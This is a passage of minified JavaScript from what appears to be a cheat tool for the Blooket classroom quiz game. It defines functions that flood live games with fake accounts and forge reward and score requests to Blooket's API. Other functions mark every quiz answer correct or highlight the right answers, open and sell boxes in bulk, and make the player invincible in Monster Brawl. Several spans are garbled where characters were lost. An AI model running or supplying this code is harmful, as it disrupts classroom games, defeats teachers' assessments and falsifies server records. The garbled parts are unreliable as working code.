box an amount of times",inputs:[{name:"Box",type:"options",options:()=>new Promise(e=>{e(Object.keys(Object.values(webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]]).webpack.c).find(e=>!isNaN(e?.exports?.a?.Space))?.exports?.a||{}))})},{name:"Amount",type:"number"}],run:function(a,o){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.prompt=e.contentWindow.prompt.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let s=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],t=Object.values(s.c).find(e=>e.exports?.a?.get).exports.a,c=Object.values(s.c).find(e=>e.exports.a?.purchaseBlookBox).exports.a["purchaseBlookBox"];a=a.split(" ").map(e=>e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()).join(" "),t.get("https://dashboard.blooket.com/api/users").then(async({data:{tokens:e}})=>{var t=Object.values(s.c).find(e=>!isNaN(e?.exports?.a?.Space)).exports.a||{Medieval:20,Breakfast:20,Wonderland:20,Blizzard:25,Space:20,Bot:20,Aquatic:20,Safari:20,Dino:25,"Ice Monster":25,Outback:25};let l=Math.min(Math.floor(e/t[a]),o);if(0==l)0{r[a]||=0,r[a]++;var o=Date.now();n&&alert(`${a} (${s+1}/${l}) ${e?"NEW! ":""}${t} tokens left`),i+=Date.now()-o}).catch(e=>t=!0),!t);s++);alert(`(${Date.now()-i}ms) Results:\n`+Object.entries(r).map(([e,t])=>` ${e} `+t).join(`\n`))}}).catch(()=>alert("There was an error user data!"))}},{name:"Flood Game",description:"Floods a game with a number of fake accounts",inputs:[{name:"Game ID",type:"string"},{name:"Name",type:"string"},{name:"Amount",type:"number"},{name:"Blook",type:"options",options:async()=>{var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];return["Random"].concat(Object.keys(Object.values(e.c).find(e=>e.exports.a?.Black)?.exports?.a||[]))}},{name:"Banner",type:"options",options:Object.entries({Starter:"starter",Chalkboard:"chalkboard",Slime:"slime",Bookshelf:"bookshelf","Toaster Pastry":"toasterPastry",Theater:"theater",Sushi:"sushi",Workbench:"workbench",Spooky:"spooky",Spiders:"spiders",Coffin:"coffin",Pumpkins:"pumpkins","Falling Blocks":"fallingBlocks",Racetrack:"racetrack",Harvest:"harvest",Leaves:"leaves","Fall Picnic":"fallPicnic","Winter Drive":"winterDrive","Winter Train":"winterTrain",Ice:"ice",Gifts:"gifts","Christmas Tree":"christmasTree","Soccer Field":"soccerField","Winter Landscape":"winterLandscape","Football Field":"footballField","Outer Space":"outerSpace","Hockey Rink":"hockeyRink","Music Class":"musicClass","Ice Cream Sandwich":"iceCreamSandwich","Science Class":"scienceClass","Fish Tank":"fishTank","Art Class":"artClass",Clockwork:"clockwork","Love Letter":"loveLetter",Farm:"farm",Chocolate:"chocolate","Tech Chip":"techChip",Fire:"fire","Orange Ice Pop":"orangeIcePop"}).map(([e,t])=>({name:e,value:t}))}],run:async function(n,r,e,i,l){var t=Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache);const c=t.find(e=>e.exports?.a?.get).exports.a,d=t.find(e=>e.exports?.a?.initializeApp).exports.a,m=Object.keys(Object.values(t).find(e=>e.exports.a?.Black).exports.a);for(let s=1;s<=e;s++)(async()=>{var e=""+r+String.fromCharCode(96+s),{success:t,fbToken:a,fbShardURL:o}=(await c.put("https://fb.blooket.com/c/firebase/join",{id:n,name:e}))["data"];t&&(t=d.initializeApp({apiKey:"AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",authDomain:"blooket-2020.firebaseapp.com",projectId:"blooket-2020",storageBucket:"blooket-2020.appspot.com",messagingSenderId:"741533559105",appId:"1:741533559105:web:b8cbb10e6123f2913519c0",measurementId:"G-S3H5NGN10Z",databaseURL:o},e),await(o=d.auth(t)).setPersistence(d.auth.Auth.Persistence.NONE).catch(console.error),await o.signInWithCustomToken(a).catch(console.error),await t.database().ref(n+"/c/"+e).set({b:"Random"==i?m[Math.floor(Math.random()*m.length)]:i,bg:l}),t.delete())})(),await new Promise(e=>setTimeout(e,100))}},{name:"Change Blook Ingame",description:"Changes your blook",inputs:[{name:"Blook",type:"options",options:async()=>{var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];return Object.keys(Object.values(e.c).find(e=>e.exports.a?.Chick&&e.exports.a?.Elephant).exports.a)}}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["props"];t.client.blook=e,t.liveGameController.setVal({path:`c/${t.client.name}/b`,val:e})}},{name:"Get Daily Rewards",description:"Gets max daily tokens and xp",run:function(){var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),location.href.includes("play.blooket.com")){const o=Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache),s=o.find(e=>e.exports?.a?.get).exports.a;s.post("https://play.blooket.com/api/playersessions/solo",{gameMode:"Factory",questionSetId:["60101da869e8c70013913b59","625db660c6842334835cb4c6","60268f8861bd520016eae038","611e6c804abdf900668699e3","60ba5ff6077eb600221b7145","642467af9b704783215c1f1b","605bd360e35779001bf57c5e","6234cc7add097ff1c9cff3bd","600b1491d42a140004d5215a","5db75fa3f1fa190017b61c0c","5fac96fe2ca0da00042b018f","600b14d8d42a140004d52165","5f88953cdb209e00046522c7","600b153ad42a140004d52172","5fe260e72a505b00040e2a11","5fe3d085a529560004cd3076","5f5fc017aee59500041a1456","608b0a5863c4f2001eed43f4","5fad491512c8620004918ace","5fc91a9b4ea2e200046bd49a","5c5d06a7deebc70017245da7","5ff767051b68750004a6fd21","5fdcacc85d465a0004b021b9","5fb7eea20bd44300045ba495"][Math.floor(24*Math.random())]}).then(async({data:{t:e}})=>{await s.post("https://play.blooket.com/api/playersessions/landings",{t:e});var{name:t,blook:{name:a}}=await o.find(e=>e.exports.a?.me).exports.a.me({}).catch(()=>alert("There was an error getting user data."));await s.put("https://play.blooket.com/api/users/factorystats",{blookUsed:a,t:e,name:t,cash:Math.floor(9e7*Math.random())+1e7,correctAnswers:Math.floor(500*Math.random())+500,upgrades:Math.floor(300*Math.random())+300,mode:"Time-Solo",nameUsed:"You",place:1,playersDefeated:0}),s.put("https://play.blooket.com/api/users/add-rewards",{t:e,name:t,addedTokens:500,addedXp:300}).then(({data:{dailyReward:e}})=>alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(()=>alert("There was an error when adding rewards."))})}else alert("This cheat only works on play.blooket.com, opening a new tab."),window.open("https://play.blooket.com/")}},{name:"Use Any Blook",description:"Allows you to play as any blook",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]]).webpack("MDrD").a;"/blooks"==location.pathname?a.setState({blookData:Object.keys(e).reduce((e,t)=>(e[t]=a.state.blookData[t]||1,e),{}),allSets:Object.values(e).reduce((e,t)=>e.includes(t.set)?e:e.concat(t.set),[])}):Array.isArray(a.state.unlocks)?a.setState({unlocks:Object.keys(e)}):a.setState({unlocks:e})}},{name:"Every Answer Correct",description:"Sets every answer to be correct",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.freeQuestions=e.questions=e.props.client.questions.map(e=>({...e,correctAnswers:e.answers}))}},{name:"Highlight Answers",description:"Colors answers to be red or green highlighting the correct ones",run:function(){const{state:a,props:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(a.question||o.client.question).correctAnswers.includes((a.question||o.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})}},{name:"Remove Name Limit",description:"Sets the name limit to 120, which is the actual max name length limit",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),document.querySelector('input[class*="nameInput"]').maxLength=120,alert("Removed name length limit")}},{name:"Remove Random Name",description:"Allows you to put a custom name",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({isRandom:!1,client:{name:""}}),document.querySelector('[class*="nameInput"]')?.focus?.()}},{name:"Sell Cheap Duplicates",description:"Sells all of your uncommon to epic dupes (not legendaries+)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],a=Object.values(t.c).find(e=>e.exports?.a?.get).exports.a,s=Object.values(t.c).find(e=>e.exports.a?.sellBlook).exports.a["sellBlook"];a.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:e}})=>{e=Object.entries(e).filter(([e,t])=>1{t.webpack=a}},[["1234"]]]).webpack("MDrD").a[e].rarity));if(confirm("Are you sure you want to sell your uncommon to epic dupes?")){var t,a,o=Date.now();for([t,a]of e)await s({blook:t,numToSell:a-1});alert(`(${Date.now()-o}ms) Results:\n`+e.map(([e,t])=>` ${e} `+(t-1)).join(`\n`))}}).catch(()=>alert("There was an error user data!"))}},{name:"Sell Duplicate Blooks",description:"Sell all duplicate blooks leaving you with 1 each",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],a=Object.values(t.c).find(e=>e.exports?.a?.get).exports.a,s=Object.values(t.c).find(e=>e.exports.a?.sellBlook).exports.a["sellBlook"];a.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:e}})=>{e=Object.entries(e).filter(e=>1` ${e} `+(t-1)).join(`\n`))}}).catch(e=>(alert("There was an error user data!"),console.info(e)))}},{name:"Simulate Pack",description:"Simulate opening a pack",inputs:[{name:"Pack",type:"options",options:async()=>Array.from(document.querySelectorAll('[class*="packShadow"]')).map(e=>e.alt)}],run:function(){try{let u=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],e=Object.values(u.c),t=e.find(e=>e.exports?.a?.Chick?.set).exports.a,o=e.find(e=>e.exports.a?.Breakfast).exports.a,s=(Object.entries(t).reduce((e,[t,a])=>(o[a.realSet||a.set]&&(e[t]=a),e),{}),Object.values(u.c).find(e=>e.exports?.Class).exports),h={};class r extends s.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){h.scene=this,h.rarity="",h.particles=this.physics.add.group({classType:new s.Class({Extends:s.GameObjects.Image,initialize:function(){s.GameObjects.Image.call(this,h.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,o,s,n,r,i,l){this.setTexture(l),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],h.scene.physics.velocityFromAngle(o,s,this.body.velocity),this.body.setGravityY(n),this.body.setAngularVelocity(r),this.lifespan=i},update:function(e,t){this.lifespan-=t,0{h.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=u("74sb");function o(e){switch(e){case"center":var t=Object(a.l)(-115,-65);return{x:h.scene.cameras.main.worldView.width/2,y:h.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90h.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,h.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>h.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(h.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(h.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=h.particles.get();s&&s.spawn.apply(s,Object.values(o("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var n=0;n<2;n++){var r=h.particles.get();r&&r.spawn.apply(r,Object.values(o(n%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var i=0;i<2;i++){var l=h.particles.get();l&&l.spawn.apply(l,Object.values(o(i%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var c=0;c<3;c++){var d=h.particles.get();d&&d.spawn.apply(d,Object.values(o("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var m=0;m<3;m++){var p=h.particles.get();p&&p.spawn.apply(p,Object.values(o(m%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0(e.packs.includes(t)&&(e.data[t]=Object.fromEntries(n.b(t))),e),{packs:Array.from(document.querySelectorAll('[class*="packShadow"]')).map(e=>e.alt),data:{}}).data)[e]?(e=function(e){var t=[],a=Object.keys(n[e]);for(const s of a)t.push(n[e][s]+(t[a.indexOf(s)-1]||0));const o=t[t.length-1]*Math.random();return a[t.findIndex(e=>e>=o)]}(e),t=Object.values(u.c).find(e=>e.exports?.a?.Elephant).exports.a,a.setState({loadingPack:!1,openPack:!0,unlockedBlook:e,tokens:a.state.tokens,newUnlock:!0,game:{type:s.WEBGL,parent:"phaser-market",width:"100%",height:"100%",scale:{mode:s.Scale.NONE,autoCenter:s.Scale.CENTER_BOTH},transparent:!0,physics:{default:"arcade"},scene:new r(t[e].rarity)},canOpen:!0})):alert("I couldn't find that box!")}}catch{}}()},{name:"Simulate Unlock",description:"Simulate unlocking most of the blooks",inputs:[{name:"Blook",type:"options",options:()=>{try{var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],t=Object.values(e.c);const o=t.find(e=>"number"==typeof e.exports.a?.Breakfast).exports.a;return Object.entries(t.find(e=>e.exports.a?.Black).exports.a).reduce((e,[t,a])=>o[a.realSet||a.set]?e.concat(t):e,[])}catch{return[]}}}],run:function(){try{let u=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],e=Object.values(u.c),t=e.find(e=>e.exports?.a?.Chick?.set).exports.a,o=e.find(e=>e.exports.a?.Breakfast).exports.a,a=Object.entries(t).reduce((e,[t,a])=>(o[a.realSet||a.set]&&(e[t]=a),e),{}),s=Object.values(u.c).find(e=>e.exports?.Class).exports,h={};class n extends s.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){h.scene=this,h.rarity="",h.particles=this.physics.add.group({classType:new s.Class({Extends:s.GameObjects.Image,initialize:function(){s.GameObjects.Image.call(this,h.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,o,s,n,r,i,l){this.setTexture(l),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],h.scene.physics.velocityFromAngle(o,s,this.body.velocity),this.body.setGravityY(n),this.body.setAngularVelocity(r),this.lifespan=i},update:function(e,t){this.lifespan-=t,0{h.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=u("74sb");function o(e){switch(e){case"center":var t=Object(a.l)(-115,-65);return{x:h.scene.cameras.main.worldView.width/2,y:h.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90h.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,h.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>h.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(h.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(h.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=h.particles.get();s&&s.spawn.apply(s,Object.values(o("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var n=0;n<2;n++){var r=h.particles.get();r&&r.spawn.apply(r,Object.values(o(n%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var i=0;i<2;i++){var l=h.particles.get();l&&l.spawn.apply(l,Object.values(o(i%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var c=0;c<3;c++){var d=h.particles.get();d&&d.spawn.apply(d,Object.values(o("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var m=0;m<3;m++){var p=h.particles.get();p&&p.spawn.apply(p,Object.values(o(m%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0(e.gameModes.forEach(e=>e.plusOnly=!1),e))}}]},brawl:{name:"Monster Brawl",img:"https://media.blooket.com/image/upload/v1655233787/Media/survivor/xp/Blue_xp_2.svg",cheats:[{name:"Double Enemy XP",description:"Doubles enemy XP drop value",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.val*=2},t.children.entries.forEach(e=>e.val*=2)}}},{name:"Half Enemy Speed",description:"Makes enemies move 2x slower",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.speed*=.5},t.children.entries.forEach(e=>e.speed*=.5)}}},{name:"Instant Kill",description:"Sets all enemies health to 1",run:function(){for(const a of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=a.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.hp=1},t.children.entries.forEach(e=>e.hp=1)}}},{name:"Invincibility",description:"Makes you invincible",run:function(){for(const e of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime")))e.collideCallback=()=>{}}},{name:"Magnet",description:"Pulls all xp towards you",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes("magnetTime")).collideCallback({active:!0},{active:!0,setActive(){},setVisible(){}})}},{name:"Max Current Abilities",description:"Maxes out all your current abilities",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];for(var[t,o]of Object.entries(a.state.abilities))for(let e=0;e<10-o;e++)a.state.game.scene.game.events.emit("level up",t,a.state.abilities[t]++);a.setState({level:a.state.game.scene.level=[1,3,5,10,15,25,35].sort((e,t)=>Math.abs(e-a.state.level)-Math.abs(t-a.state.level))[0]-1})}},{name:"Next Level",description:"Skips to the next level",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],{object1:t,object2:a}=e.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes('emit("xp"'));a.get().spawn(t.x,t.y,(1===(a=e.state.level)?1:a<5?5:a<10?10:a<20?20:a<30?30:a<40?40:a<50?50:100)-e.xp)}},{name:"Remove Obstacles",description:"Removes all rocks and obstacles",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>{try{e.gameObject.frame.texture.key.includes("obstacle")&&e.gameObject.destroy()}catch{}})}},{name:"Kill Enemies",description:"Kills all current enemies",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))}},{name:"Reset Health",description:"Resets health and gives invincibility for 3 